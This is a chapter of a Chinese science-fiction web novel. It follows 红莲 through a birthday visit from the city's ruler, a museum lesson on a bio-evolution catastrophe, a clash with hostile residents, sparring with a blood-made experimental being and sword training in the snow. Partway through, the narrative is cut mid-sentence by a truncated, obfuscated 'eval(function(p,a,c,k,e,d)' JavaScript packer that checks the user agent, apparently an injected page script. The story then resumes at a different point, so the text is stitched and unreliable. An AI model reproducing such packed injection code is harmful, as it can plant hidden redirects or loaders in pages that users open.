“很久以前，我优待过一个陌生人当家人，她却努力证明自己不值得被优待。我明白了，人们只是出于对我的好奇心，根本没有做我家人的资格。” “嗯……也许有例外啊？” “没有必要。红莲姐喜欢这个生日派对吗？” “哈哈，我第一次过生日，对不对？晴灯女士！” “喔？我自己不过生日，有啥用啊？” 这一家三人的关系被孤僻本性牢牢粘在一起。 可能每个世界的普通人都将实用思维贯彻到底吧，三人感觉这桌上的金制点心架有古怪的奢华感，白瓷茶杯和圆盘的边缘描画着巧妙的花纹，盘上的甜品已经不如刚送到时新鲜。 橡树建议红莲用吹蜡烛的仪式度过18岁生日，她就想起天家主房间的点心极为好吃，联系元送来四块，红莲想给日渐消沉的四个小女孩增添些乐趣。 楼道里小女孩们的嬉闹声从门缝传来，橡树离凳迎接，他拉开门却后退着脚步，这引起了红莲注意，四个小丫头忽的视野下跑到座位上看着甜点发问。 “看着真好吃呀！” 晴灯扭头瞅瞅。 “就等你们四个来吃呢，快吃吧。” 一阵沁人身魂的香气随她的步伐散在屋内，接着是动人心弦的声音。 “两个月不见你了，小红莲！” 橡树第一次如此专注的看女人，她的美感过目难忘，因为凡人无法想象出脸孔与身段这样无可挑剔的美人，纯白波浪长发的末端发卷弧度恰到好处，泡泡袖和波浪领的精致感如此亲切，米色马裤束腰的曲线美更让人惊叹并忍耐去触碰，起伏的腿肚弧线当然也悦目迷人。 天家主看红莲装睡，立刻注意到有位看自己看到出神的黄发少女，不仅因为这女生发型只到耳根，像男性一样修长有力的身姿，还有种说不出奇妙感觉。 她随手搂住这女生的手臂。 却被橡树以近乎甩开的力度躲开了，微妙的粗糙手感，天家主看他坐回凳子，就坐到他身边的凳子上，再拨动了一下白瓷茶杯的把手，元箭步转到她身后。 “没事，不用客气，元，我自己倒吧，我听元说红莲今天要过生日，真难得呀，作为你的好朋友我再忙也得来参加呀，这些小孩子是？” 红莲探手接住天家主正要为她倒茶的茶壶，两人相视一笑。 “四个可怜无助的天家小市民。” “需要我帮忙嘛？喔~这么好吃嘛？元，通知仆务部再送些新鲜的甜品过来。” “不用了，我月初去找过你一次，你们不在。” “原来是这样，我说红莲不会忘了我呢，这是你朋友吗？” 这女人举止变得与以往不同，她问过后，又瞟了一眼橡树，但在场的女性都心知肚明，她的举手投足都是做给身旁这人看的，尽管表现的毫无刻意。 “岸防连城的队友，叫橡树。” “噢！就是黑家主的那位随从，你记得这事，岸防连城的女孩子很有野性美呐！” 橡树来到夜星的半年时间里，早以习惯女生们的宜人外貌。 身边这位绝美女子再打量自己时，他反感被她的外貌折服，想起身离开，她身后有个穿着白色西装如同美少年的女生堵着门口。 天家主开始闲聊：“我看出城记录，红莲每天都出去，在忙什么呐？” 红莲笑说：“这茶的味道让人过度放松，博物馆都市的环境也让人太过舒适，所以我得出城练习剑术，顺道熟悉一下城周边的地理环境。” 红莲放下杯子，看天家主嫩白的眉目间少了几分愉悦感。 “我公事繁忙，不像红莲能为所欲为，有点小事想拜托你，元，血神试作体到了吗？” 元走到主人身侧，在她耳边细语。 红莲从口型上推断出，离舱太远四个字。 橡树抓住这个机会，先去拍了一下晴灯肩膀，两人贴着浴室外壁走到门口。 “我们先去上课了，东西南北，吃完了吗？” 小孩们晃着歪辫点头，跟橡树离开了。 红莲等天家主望着门口的目光移回自己身上，说道：“随您吩咐，红莲听从伟大的夜星之主。” 天家主油腻一笑，说道：“小红莲一会儿无礼，一会儿又过度奉承我，哎~好难做人呐~就你们研究机械生物动力的成果，破解了细胞编程器的一部分内容，我让孕育课题组搞了个新玩法，实验体能通过血液学习和传播知识，试了半天只能用途肉身方面。哎！我就想起小红莲啦~收个徒弟吧，你路过课题区，到这个地址，说我名字。” 红莲点按白色长裙领扣，看着全息投影出的地图上，圆环形课题区中，红色高亮禁区写着孕育罐实验基地，她思索着又听到天家主说起A之书。 A之书：2，自然的本质是只读，暴力的本质是改写。 红莲：“暴力的最高形式就是战争，战争这种东西，没有美的，全是无奈积压到极限的释放，历史上但凡有一次改变，就不会有战争产生。” 天家主哼了一声起身离开，走到门口停步。 “我嘲笑这群短视近利又故步自封，不愿正视现实且失去自保能力的生物有多么悲哀。” 红莲拎起身旁的箱子，锁好门走到楼下，看天家主和元坐上一辆白色流线形悬浮车，向市中心直线行驶。 她平静下来，忽然感知到身后的墙角阴影里有什么生物，急转身的一刻，那生物就在眼前，环境静到如同时空静止，这感觉和在岸防连城遇过天狼星人一样。 这生物头上安装着一对深粉色菱形天线，诡异的深蓝色长发，刘海与鬓角都很整齐，耳朵的位置装着两个粉蓝相间的圆盘，圆盘上也安装着小号菱形天线，圆盘下端还学人类带着一蓝一粉的兔头耳坠，它穿着无袖深蓝色制服，肩章和制服的扣子都是粉色兔头样式，下身穿着近似于长裙的百褶裙裤。 说它不是人类，就因为这双比人类大两倍的眼睛里不断闪烁星光，而且从不眨眼。 “你，见过我的妈妈么？” 两人的身体贴在一起，红莲想推开她，却感觉身体收到干扰。 “你是什么东西？” “我，不是人类吗？抱歉。” 在它说完的一刻，红莲才能自由行动，而它不见踪影，只在红莲脑中留下一句话。 “我被称为信息溯行者，再见啦，红莲大人。” 这个怪异的不速之客使红莲很担心家人，信息溯行？它有不被人类察觉的监视能力，红莲考虑换个住址，她必须尽快去找橡树，怀着焦急的心情乘列车到达布满金饰的黄金时代展厅，远远望见金树下，熟睡的四个小孩，她稍松口气，走近橡树所在的教室，拉他出来，到小女孩们身边。 橡树看红莲神情紧张。 “要走了么？” “还不行，直觉告诉我，有什么大事快要发生了，你们必须尽可能在一起。” 红莲看着身上的白裙，才发觉自己言多有失，她摸着胸口，平复心情。 “没什么，我也是课题组组长，加上晴灯的别墅就有两套了，我们去血肉时代展厅上交课题，你选晴灯的课题，就都能住在课题区了，我平时不怎么饿，食物给东南西北均分，你照顾好大家吧。” 红莲尽可能表现出日常休闲的心态，沿途与孩子们问答展厅区的设施，这里的建筑比空旷的管理区稍微多些，空地上建满了景观花园，那些条状散热口的白色无门长方体是各课题组所需的电子档案馆，还有展厅讲师的住宅和区外市民临时参观入住的公寓，六人说笑间竟然走过了血肉时代展厅。 姐弟被孩子们提醒才发现了这座不起眼的建筑，像一间低矮宽阔的仓库，三角形屋顶下的招牌写有血肉时代展厅字样，才注意到整个建筑也是石材制成，除此之外再无其他。红莲走到正门旁的纪念碑边阅读： 仅以此碑纪念在西大陆生物灾害中死难的30亿名人类同胞，展厅建筑由曾任西大陆总油会的副会长亲自设计。 “我们找间刚开课的大厅，很快就出来，你们别走远。” “好的，红莲姐姐。” 展厅内部，墙壁门窗屋顶的深绿色对红莲来说有些眼熟，间隔紧密的门室也似曾相识，橡树看到一扇门上的显示屏写着0:045。两人推门而入并向讲师要了课目信息，看向稀疏的市民们，红莲坐到前排座位，急不可耐的阅读课件。 血肉时代 新元773年，永生科研基金会展示异时性异体共生连接脏器人，召开第二次千年进化会议，解除伦理对科研的束缚，基于机械科技，西大陆总油会主导的以血肉永生进化为目标的有机生物科技竞赛开始。 总油会在西大陆近海建设癌细胞基培血肉永生进化实验项目基地龙宫号（雌） 总商会在北极近海建设西大陆干细胞基培血肉永生进化项目北极基地依维坦号（雄） 新元805年，龙宫号发生第一次事故 新元892年，龙宫号爆发重大事故，雌体与大陆架接触，污染近海，内陆爆发特大生化灾害 新元994年，依维坦号爆发事故并关闭 血肉进化评分：原生-1分，有自我意识的永生□□为5分 新元773年到1056年称为血肉时代或生物时代 成就：伪超能力者，细胞编程器，治疗椅 （课题：治疗椅学，生物编程学） 生化灾害持续到新元1112年后结束，导致西大陆消失，全球人口从120亿减少到90亿，总商会出资第3024次海下调查，证明雌体与雄体完全融合并不断蚕食海洋生物与地壳。 课件字数虽少，人类阅读这文档的每个字，身体都会感到明显的痛感。 其实红莲很少思考人类命运如何，这类宏观问题，关注世界仅仅因为察觉到世界正在改变自己的命运，但此刻，她又想起黑白的那句话。 夜星历史中的人类早已不可救药。 自己和晴灯的所作所为是不是和它们一样？ 红莲想到这个，转身看着这位来自地球的无辜少年，她不知因何原因紧紧握住他的手。 “对不起，橡树。” “嗯？唉。” “怎么了？” 橡树眼含泪光，他的眼神第一次有了和手一样的温度。 “已经发生就没什么了，是这个生物编程学吧，提交课题通过了，还要到展厅门口大厅前台更新个人身份，我一会想跟你出城走走。” “好啊。” 奢侈与歧视 前往课题区的路上有很多花坛美景，研究自然学的市民尽力将古代具有美感的植物再现到这个纯人工制造的环境里。 姐弟两人却无心观赏。 人们来到课题区还能见到仿照黄金时代的各位艺术大师美学而建成的别墅群。 生活在这的市民以白发为主，她们起初神采飞扬，无需与其交谈就能体会到她们身为课题区市民的幸福感，生活中的任何欲求都能立刻得到自动化设备提供周到的产品和服务。 不仅生活能随心所欲，精神也满怀希望，她们已经完成课题使进化评分到达7分了，现在只需等待灵能会的召唤，成为灵能体，前往伟大的天狼星文明。 可这六个人的白裙上没有佩戴披肩，这种无知的新成员本来就令她们不悦，竟然还是黑家与贝家的人领着四个天家的废物。 当整个市区的人都站立不动，用憎恶的眼神看着你，才是最考验你心理素质的时候。 红莲只顾担心晴灯现在研究的禁忌学科，橡树边走边对视了她们的眼睛，这些厌恶感帮他从血肉时代课件的恐怖历史中解脱出来，深刻的理解了夜星为什么与地球不同。 四个孩子之一的小西还那样天真傻萌，嬉笑中，没注意到身后的敌意。 “死小鬼！给我道歉！” “对对对不” “谁让你们这种废物进入课题区的！去！自己滚进生物回收井！不想死就给我下跪道歉！” 东南西北四人似乎很习惯于这种威胁了，她们同时跪了，不断磕头求饶。 这个原本美貌的白发女人脸上尽显折磨别人的满足感，她感觉胸前一紧，瘦弱的手来自橡树，他揪住这个比他高一头的女人领口，她身后的人笑的更得意了。 “呵呵，到底是外面的垃圾，我呼叫安保机器人了，赶紧放开！还能少被电两下，哈哈！” 红莲架住橡树出拳的胳膊，才从担忧晴灯的愣神中缓过来，她没太明白发生了什么事，先拉开橡树，自己挡在最前。 “什么安保机器人？噢。” 红莲点击信息面板消除了安保警报，发怒的两人和周围看客目送着安保机器人折返回到岗位，站在后方的人与发火的人耳语着。 “你谁啊？没有课题组组长的权限不可能关闭警报！” “我是古代实用遗产学课题组组长红莲，你和我的组员发生了什么矛盾？” “她撞了我！这黄毛还敢打我……组长？” 她的同伴小声说走吧，并用力揪着。 “噢。” 黑发少女转身蹲下扶起还在磕头的小女孩们，她站直的同时单臂伸直指向旁观的人们。 “谁找这四个孩子的麻烦，我就找谁的课题组组长的麻烦！” 行人们听到这话纷纷低头离开道路，只剩六人还呆立在原地，红莲用手背擦断小西脸上的泪痕，这是因为她其实很讨厌眼泪，愚昧的不公对她来说早习以为常。 “别哭了。” 语气有些严厉，红莲马上有点后悔，她也不清楚自己为何坚持帮助她们。 “我们给红莲姐姐惹麻烦了么？” 小北是心智最早熟的一个。 “没有，我小时候太爱哭了，所以有点讨厌眼泪。” “我不明白，红莲姐姐为什么要帮我们。” “哈哈。” 她无奈的笑了。 “我其实最讨厌强者了，强弱不该由她们定义。我好像更喜欢弱者，帮助你们好像帮助了曾经无助的自己。” 这段话，红莲不经思考就脱口而出，她又后悔了，后悔自己居然依靠着天家主随手给的权力来解决问题，她从橡树的眼神中看出，他一秒都不想待在这臭不可闻的博物馆都市，可她需要机遇搞明白北极巨变的深层原因。 “我们走吧，一点小事，别哭了，嗯，有个好消息，按我对晴灯的了解，她选的别墅一定非常冷门，我尽量选她附近的房子，确定了住址，东西南北先住进去，橡树就回去取行李放在新家，我还有事办，你有事就到都市西门等我。” 传言比红莲一行人走路的速度都快，他们路过了华丽的后现代别墅，奢侈的花园式庄园，浮雕繁琐的古典式礼堂，街道上的人们都尽力避让，红莲走近嗡嗡作响的写有电力供水系统门牌的无门白色正方体设施。 她边走边看地图，绕行到它巨大的阴影里，一堆东西像岸防连城常见的建筑材料，仔细看一层由三块灰色石板和四块黑色玻璃搭建，两层间用一整块黑色玻璃分隔，二层是一层的水平镜像设计，门前电子标牌写着：晴灯博士。 这套又吵又缺光照还丑的别墅，在晴灯看来，使用了稀有的建筑材料和高难度的施工技术吧，红莲太了解她了。 六人看向阴影外的光照处有一栋更奇葩的建筑，设计风格模仿着城市废墟，一层是个垮塌后的梯形入口，红莲看别墅介绍是新元1221年的南极艺术风格。 “就这间吧，我开门，东南西北进去看家。” “不会倒塌吗？” 红莲笑着安置好众人后，快步走到街边的浮空踏板车上，她想尽快了解晴灯在干什么。 偶然的善意 “你在哪？” “孵化罐实验基地，调整血神一号的参数。” “我正好要去，你在门口等我。” 海量的浮空踏板车涌向这片位于课题区的生化工业带，望不到边际的高低错落的巨型银色储气罐间连满了白色管道，远方还看到四足工程机械在拆除别墅。 红莲行驶到铁丝网围墙外打开踏板车的自动寻路功能，她在繁忙的停车位四顾，发现了人流后，靠在孕育罐实验基地金字石墙上的晴灯。 “你最近在搞什么！” 晴灯听出红莲语带责难，再看她双手握拳，动作僵硬，焦躁情绪透过这身白裙流露着。 “我原本只想熟练运用已破解的细胞编程技术，开发模拟物质编程的系统，都在电脑模拟程序里操作，绝对安全啊！” 她在红莲面前蹲下，解开头发挠头。 “这里不只我一个学者啊！她们分析了我们提交的细胞编程技术，向天家主提出血神项目计划书，还要继续破解细胞编程器，我以西大陆生化灾害当理由，激烈反对才阻止了。” “那你是知道西大陆发生过什么！” “嗯。” “又做了人体实验吗？” “我身不由己。她们实际操作过程中不懂变通，使唤我制定了实验工序，有成果了就又排挤我，明明我是组长，倒也好，我自己也讨厌生化实验。” “这个血神计划是什么？” “极密，不过，算了。简单来说，就是利用已破解部分的细胞转化协议，造个通过摄入别人血液就学到对方知识和能力的人。现在实验体只能学到别人的体能部分，西大陆重点搞过这个研究，其他方面的进步就需要继续破解细胞编程器，没十亿样本根本搞不明白的东西，博物馆都市一共才160万人，这帮人想讨好天家主想疯了，最近天家主召见过我一次，我如实说了，继续破解细胞编程器毫无意义，还很可能导致大规模生化灾害。” 红莲蹲在她旁边。 “你能别搞了吗？别把罪孽揽到我们自己身上。” “莲你太抬举我了，我只是个庸才，已破解的部分不过是利用南极两千年来，谨小慎微积累的治疗椅技术。现在让我搞，我也不懂了，又被人用完了就扔呗，我每天就在办公室用电脑模拟我的物质编程系统，我看橡树报名了，我们两一起搞这个吧，和做电脑游戏差不多。你来这干嘛？” 红莲扶晴灯起来向基地内走去。 “天家主的意思，大概是让那个血神学我体能吧。” “那你要教吗？” “我有的选吗？我希望天家主站在人类这方，我给它一滴血罢了。” “没那么简单！你到了就知道了。” 人们看巨型储气罐之间的地上空隙大约有100米宽，由口字形工程机械铺设的多功能地板，同步将钢材折叠成门字形插入地板，这样建设了一列列地面仓库建筑，巨大的长方形气密闸门套入建筑进出口完成密封，人流从闸门下端的小门进入。 仓库内顶部安装着密集的低亮度灯带使空间几乎做到了无影。 地中间安装的九列孕育罐向深处延伸，墙边的各类操作台和临时实验室旁站着披白色披肩的白裙人员。 红莲随晴灯步行其中。 空气里，淡淡机油混合消毒液的味道让红莲想起儿时经历，怀着略有恐慌的心情，耳旁还听着孕育罐心率仪发出的有节奏的滴滴声，走进一个完全密封的白色实验舱。 这纯白的空间大概有190平米，围墙一圈的白色实验设备上端有着大小不一的储血玻璃罐，设备管线沿地面，连向地中平放的白色椭圆形实验舱。 红莲注意到这舱体下端还装有复合金履带。 其实两人沿途遇到的人员都对晴灯点头敬礼，但这六位操作器材的人员装作没看到她两一样。 “这不是晴灯组长嘛？项目接近完工，我已经签过交付确认书了，您不必过问了。” 晴灯挠着头发，转身想离开。 “喔，我没事，她有事，噢，对！是天家主大人派来的人。” 众人才看晴灯身边的人，平直的洁白长裙外飘散着黑色长发，肩部还是无袖款式，不过是实习区常见的黑家少女罢了，平滑的小脸也普通至极，眼神却近似一双无视众生的利刃，让观者不禁退缩。 “哦。那您，你有什么事呢？” 红莲靠近实验舱，俯身透过舱壁看内部只有殷红色的血液涌动。 “让血神学我的体能。” “外行人不懂！合成血神的过程就需要15分钟，再说你会什么体育项目呢？它出舱的活动时间只有220秒。” 晴灯突然走到说话的人员面前。 “你们搞了一个月只提高了85秒？” “那又怎么样！第一阶段预期活动时间下限就是220秒！这才刚开始！” 红莲掰过晴灯的肩膀对着自己。 “你们说的是什么意思？不行的话，我就走了。” “莲你不知道，这舱里面全是改造过的干细胞血液，细胞程序激活血液，从0开始合成血神实验体，这叫准备时间，需15分钟，它的本体就是血液，离舱太久就无法维持身体结构，必须回舱还原成血液。” “那我给她一滴血不就行了？” “哪有你想的那么简单！” 其他实验人员插话继续说。 “它要同步模仿你的动作，采集运动极限时的血液才有效。” 红莲问：“这东西死不了？” “血神！神！一团血怎么死？” “开搞吧，准备两根1米长的铁棍，我和它的活动空间需要120平米。” “这里面没那么大地方！” 实验人员分散断开舱体的管线并在各设备操作台前忙碌着，红莲低头看清舱内血液涌聚成人形，骨骼，肌肉，脏器一点点的合成，这诡秘的画面强迫她拉着晴灯胳膊向最外走。 她还忍受不了基地内气味，两人来到户外，她仰头望着散发荧光的透明穹顶，有些怀念岸防连城里的寒冷雪景。 随着黄色警报灯纷纷闪烁，刺耳的吱呀声处，基地仓库的大型气密闸门缓缓向上抬升露出缝隙，那台长椭圆形实验舱跟在六名人员身后来到室外，安保机器人马上到位，围出一个140米的空地，人们都知道这空地内是危险的实验空间，红莲接住别人抛进来的两根铁棍，看这舱体向外喷射蒸气，微风将血腥气味弥漫，舱体腾的一声向上立起，舱壁转开。 红莲对着仓内抛出铁棍。 “我不用这个。” 它接住铁棒，一扔，插入钢制地面。 吱吱的装甲组装声过后，它从气雾中走出，红莲目测它身高只有95米，头戴桶形白底金边王冠，细少的白色长发间是一长毫无生机的稚气脸孔，红眼里也没有一丝人情。全身被松垮的白衣包裹，背胸有银白相间的装甲板，如果不看她大腿后部是两个透明血罐，人们都以为这只是个普通的人类。 它随手一扔的力量已经证明了实力，可是红莲想再次确认。 “你多大？” “我又不是人类，没有年龄。” 奇异的现象接踵而来，在它后背的空中飘动着一根血线，线连着舱体。无声中，飞出一根1米5长的银质尖针，形状像简化的注射器，这细剑飞到它手中。 “那开始吧。” 血神的跑步动作尽管单调，步伐速度却随红莲自身的紧迫感变得肉眼不可见。 这一刺，如捅穿动物般无礼并迅猛。 红莲蹲身躲过后，刺击竟然急停，变作向下挥击，红莲双脚蹬住细剑，而血神居然还能微调旋转圆滚的剑体，甩掉红莲一只脚，红莲顺势踢卡住它挥剑的臂关节，血神面部却被铁棍捅穿，是红莲单手撑地，弓背反身刺出的一剑。 血神后退，拔掉了脸上的铁棍，面部安然无恙。 红莲推测它□□的恢复速度在0.1秒以内。 “我能叫你师父吗？” “不能。” “师父在我挥击的一瞬才认真了，气息明显不同，我想学这个。” “你学不会。” “那我就全力杀死师父。” 红莲身后的地面插着铁棍，背手又扭身旋拔着。 血神模仿她最初的斩击同时也想使出伏地上挑，但身体不受它控制的陷入浮空状态，它想看清红莲的体态，脖颈却被红莲手掌推住，她的另一只手在细剑尖轻擦了一下，随即掰住它的身体，向下肘击，打折它双腿的铁棍触地弹起，正好刺穿背部装甲，贯通身体，撞凸了前胸甲。 血神就这样被红莲挂在铁棒上了，只有这样才能完全封死它行动。 “师父。” “嗯？不要叫我师父了。” “我没想到人类的体能可以这么快。” “单靠体能早被你杀死了。你的意图，蓄力，动作都太简单，我在你行动前就积蓄了战胜你的力量，随后全力释放而已。我的血液也给过你了。” “那我真的学不会吗？” 红莲转身四顾安保机器人围墙外惊呆的人群，低头一甩黑发，拨掉它脸上的白发。 “嗯。我每天来教你一次，不要忘记这是人类教你的力量。” “谢谢师父。” 独特的夜星 博物馆都市西门，主要给大型支援车通行，设有深邃的气密通道，四条大道内停满了等待放行的车辆，市民只能忍受微核发动机的轰鸣声和机油气味，走在钢丝围栏外的车缝间。 红莲进入人员办事大厅，满人的多排简易长椅中间，有位因其和善气质和清雅举止从寻常人中脱颖而出的少女，又是那位天烛。 门外走廊里，橡树已经换上黑色的岸防队服，对红莲招手，等在她到体检洗浴室换了衣服，两人到雪原中漫步聊天。 “你还是适合穿这身黑色的士官服，红莲姐。” 红莲回头透过透明穹顶望向大厅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯，追求永生是生命的本能，夜星人只是过早行动，这暴露了我们夜星世界的根源缺点，爱走捷径，过度务实。我那天听到橡树弹琴，旋律情谊温柔，与夜星的文化差异很大。夜星即使在黄金时代的6000千年里，音乐，文学，艺术的作品都很稀少，科学只重视应用。橡树来到夜星也许是宿命的奖赏，如果有机会，我希望你能教会夜星人重拾兴趣。” “兴趣没什么用处。” “我从你的音乐看出地球人很重视兴趣，所以不会夜星化的。兴趣，爱好，爱。这当中含有生命的原初善意。夜星也许不久就会毁灭，我真希望大家临终前能找回这种善意。” “那红莲姐的兴趣是什么？” 红莲扶起橡树，穿回斗篷，抚掉他头上的雪花。 她转身离去的背影诉说了答案：“安心。” 天然的光明 出城的车流尽头，有一片发着横条黄光的营地，车辆在那，跟进城的车队汇合出两圈环形道路，营地居住舱内的人员看远方雪坡上走着一个身穿斗篷的黑影，她们无法理解什么人愿意冒着大风和极寒气温在户外活动。 红莲在最高的坡顶稍作停留，侦查博物馆都市西部雪原的地理环境，她身处的位置靠北一些，刚好正对着原本被冰山遮挡的科考站要塞。 那黑夜中的建筑，上半部分是一根闪着红黄信号灯的横条天桥，天桥似乎搭建在西北两座冰山之间。 桥下灯火通明，密集的钢架与塔吊组成北极西部出海的港口。 她再观察要塞北侧冰山，与北方山脉形成一个避风峡谷，在这人迹罕至的雪原中，那是唯一能供人类短暂存活的地区，她的师父约定在都市西方见面，应该就在那里。 这平整的低洼雪坑里只有一个雪包，近似实验都市过节堆的雪人。 “你来了。” 红莲听着熟悉的语音却感到沮丧，因为她尽力隐秘动静靠近这座雪人。 “今天能教我绝命了吗？” “嗯。你要坚持抵挡飞剑群的攻击，直到我行动，你再用一命击败我。” “那开始吧。” “我的能源快耗尽了，所以现在用节能模式，得等我调整一会，这里不冷，你坐下，我们聊聊天吧。” 红莲将披风下摆垫在雪面，戴好兜帽，抱着小腿坐着。 “师父怕死吗？” “对于一个活了近3000年的人来说，死亡是种解脱。我最近做梦回忆起最终战争，本该赢的，是我们把光星变成这个鬼样子，我就该死，对不起你们，对不起孩子们。” 红莲想起橡树说的，已经发生，就没什么了。 “愧疚过去的事没意义，师父的回忆里，没有美好的事物吗？” “有过爱情。爱就是对真我的认可，大多数人类没觉醒真我，人和人的真我又极难相遇啊，红莲向往爱情吗？” “我不需要世人口中的爱情。” 雪人背后的雪块滑落，铁剑在它身后展开一张蛛网形剑阵，随后平移至红莲后方上空，待她走到蛛网下方的雪地时，一把剑飞到她手中。 铁剑保持阵型并高速旋转往返穿梭，红莲目光无法捕捉剑身，剑阵退到她知觉范围边缘。 每把铁剑的飞行方向，都在寻找她察觉不到的攻击位置， 这名黑发少女头顶盘旋着看不清数量的铁剑，扰乱的气流吹拂着她的黑色衣角和长发。 黑影突现处，第一次攻击被红莲用剑弹开，身后却同时有剑尖直刺，她旋步转身躲开，向后倾倒，蓄力反击的意图马上被三柄剑封死。本能挥臂，无意中挡掉二支剑的斩击，空手的侧身，却即刻遭受数量不明的铁剑上砍和下挑。 她收身立剑，顶住砍空的铁剑，进入剑阵的唯一空隙，倒跳出密集的剑阵中心。 红莲切身感受后，才懂了绝境的奥秘，这些铁剑会同时攻击 如果她打出一命剑，只能打断一把，其他剑的攻击就会命中自己。 而单靠躲避无法应对如暴雨般连密的剑击。 红莲将面前的绝境看成一个整体，败亡胜胜的一剑觉悟必须保持住，却不能用！ 她明了信念后，趁铁剑重新组阵机会，冲向剑阵，每次挥剑都打掉飞剑。 每只掉落的铁剑浮起，反回攻击位置需要时间，但是剑阵过度密集，导致红莲自始至终只有一剑空隙反击，所以她不能停止。 红莲打掉近千次飞剑后，感觉自己的身体与意识仿佛分离了，四肢在全力应付剑雨，心里却对大脑思考这阵攻击何时停止感到厌倦。 她能如此清晰明确的知道自己必死无疑，连压制本能恐惧的意志都不需要了。反正放弃反击就死，她想在这短暂的几秒内回想点有趣的记忆。 师父和橡树都在人们信爱情的时代生活过。 红莲明白自己内心有种未知且深奥的不安。 夜兰的安心是我。 晴灯的安心是研究学问。 贝比的安心是身处高位。 黑白的安心是黑家主。 黑家主的安心是力量。 元的安心是天家主。 天家主的安心是灵能会。 贝家主的安心是黄金。 风信子的安心是美学。 红莲将死，脑中的走马灯中，惊觉自己的剑击居然同时打落一圈铁剑，身为武者必须抓住刹那即逝的感觉。 飘雪夜幕空中，这位脚踩剑身游弋在铁剑洪流中的长发少女，以短到无可比拟的瞬间刺出一击。 在她眼中，剑影连绵，从未中断，以自身为球心，施展出一个火红的球形防雨罩，金属碰撞的火花同时迸发，宛如夜空的金黄礼花。 铁剑纷纷掉落，又被她继续碎，落到地上时，都断成了铁片。 “停手！给我留一把，你练傻了吗？红莲。” 黑衣少女猛然扭身盯住发声的雪人，杀戮的狂气在荡起的黑发间尽显。 发丝回落到位的一刻，她凝满杀意的眼睛激发行动，冲刺的三个跳跨步跑出了她意识正常时都做不到的极速，跳劈的间隙，铁人内聚狂风，炸开，这让红莲的攻击轻微摇晃，紧接着她的头就被一只钢铁大手按进雪里。 “打碎了这么多飞剑，太离谱了，你如果真的疯了，就死在这吧，红莲。” 她在雪中不顾身体会不会扭伤，激烈挣扎着，直到愤怒的呼吸声渐渐平静下来。 “你刚才说什么？” 浑身由乱编的不锈钢骨骼聚成的钢铁师父松开了大手，它坐在红莲身旁。 “连话都没听进去啊，你一刻都无法平静导致静界捕捉不到剑阵的空隙，还充满了反击的意图啊。蓄力一命的过程中也全是反击，绝境将你的反击信念逼到极限才学会了绝命剑，好处是你的绝命剑是无死角的球形防御范围，坏处是如果绝境持续太久，你会永久失去自我。总结，红莲你不太适合用绝命剑技。正常来说，应该能将绝命保持半个小时，而你只维持了不到3秒，就已经迷失自我了。” “再练。” “我的剑都被你打碎了，再说你还站的起来吗？” 红莲推雪，奋力挺身，发现右臂和左脚都扭伤了，她平时很注意控制身体动作的极限，而她现在只能忍痛侧坐着。 “师父，我的绝命也不能实战吗？” “你应该考虑怎么回去，我一会把你扔上回城的车顶吧。你的绝命非常实用，这剑技本来用途就是对付杂兵，但你要注意，不能陷入绝境太久，在实战中且战且退的练习绝命剑技的时长。你得修养一段时间了，我们下次见面选在西南方吧。” 师父帮红莲绑好随身用的提箱，解下它那件残破的灰色斗篷包裹住她，它扛着红莲，一点点接近回城的车队，好在车内的人都畏惧寒冷，进城的车速很慢，它看准了一个时机将红莲轻抛上去。尽管动静轻微，红莲也忍痛不叫，车内乘员还是察觉异常下车查看，人们听到红莲呼救，就把她扶进车内并顺利进入了博物馆都市。 红莲以课题组长的权限无需与普通市民做太多解释，回到都市西门。 她贴着西门办事大厅的白色墙壁移动，整个厅内几十排座椅上只有一个人。 现在可能是博物馆都市的午夜，红莲轻按了一下领口想确认时间，没呼出全息屏幕，原来还穿着黑色的岸防士官服。 “您好，请问需要帮助吗？” 她正垂着头发，对自己狼狈的样子感到好笑，听到身边的说话声就歪头看向那人，还是那位叫天烛的少女。 “你在这坐了一天吗？” “感谢你注意到我了，我最近也注意到你了，很期待与你再次相遇。” 红莲想解下提箱，被天烛谦和的善意影响，一时没忍住扭伤的痛感，倒在墙角。 天烛半蹲放下手中书籍扶住红莲。 “您受伤了，我帮您叫医务机器人车组。” “不用，我想先回家。” “家？” 在博物馆都市出生的人，没有家的概念。 红莲被她温柔的气质感染，顿时觉得浑身疲惫不堪，只能用余光看她的大脑门，这女生有着异于常人的亲切。 “谢谢你帮我。” 红莲说完，翻开提箱，揪着白裙的领口，按了几下都没反应。 “这裙子离开衣架的话，不穿在身上就不能唤醒信息面板，穿上以后，就有医疗支援功能可以缓解疼痛，我帮你换上它吧。” 两人一瘸一拐的挪到体检室里，天烛的动作充分考虑了红莲的伤势和周围物体，她是如此细心，甚至在为红莲更衣的时候，还扶好自己的白色披肩，不碰到她的伤处。 “请走慢一点，这裙子减轻痛感，不小心的话，会加重伤情。” 天烛还对她紧实有力又带有伤痕的身体怀着印象，扶她坐到自己的座位边，听着红莲打开信息语音联系完家人，就说：“我有一点疑惑想问，对您的不敬之处请让我先行道歉。” “我叫红莲，这是我的联系方式，不用这么客气，你尽管问。” 她熟练的呼出信息面板的添加名片功能，却在确认键上迟疑了一刻。 “我叫天烛，能和你相识太好了。我刚才给你换裙子的时候，看到你身体富有力量感，还有些伤痕，不好意思，我从未见过这样强健的人。” 红莲略微打量了她隆起的披肩和白裙纤腰下的宽臀。 “你是天家的大小姐吧，嗯……锻炼身体是我的兴趣，这伤也是因为锻炼扭到了。” 她听完红莲的话，就扶着圆脸的下巴尖思考，顺滑长鬓角之间，天真的大眼睛和上扬的眉角显的十分可爱，她好像突然想起书还放在远处地上，就起身，又坐下对红莲微笑。 “我离开一会，请你稍等。” 天烛拍拍书身，怀抱着书籍走回座位。 “这是纸质书吗？我第一次见这么完整的书籍。” “嗯！这本《孤傲与任性》是我最喜欢的书啦，我昨天拿进化评分买下了它！” “看来书是你的兴趣呢。” 天烛感觉红莲并未理解这本纸质书对她的意义。 树木在这个时代已经灭绝，保存完好的纸质书十分罕见，更没有人愿意拿进化评分购买这种东西。 天烛却买了，因为那天，她与红莲对视后，获得了鼓舞，她决定把减少进化评分的行为，作为自己离开博物馆都市的决心。 “红莲，你喜欢哪本书呢？” 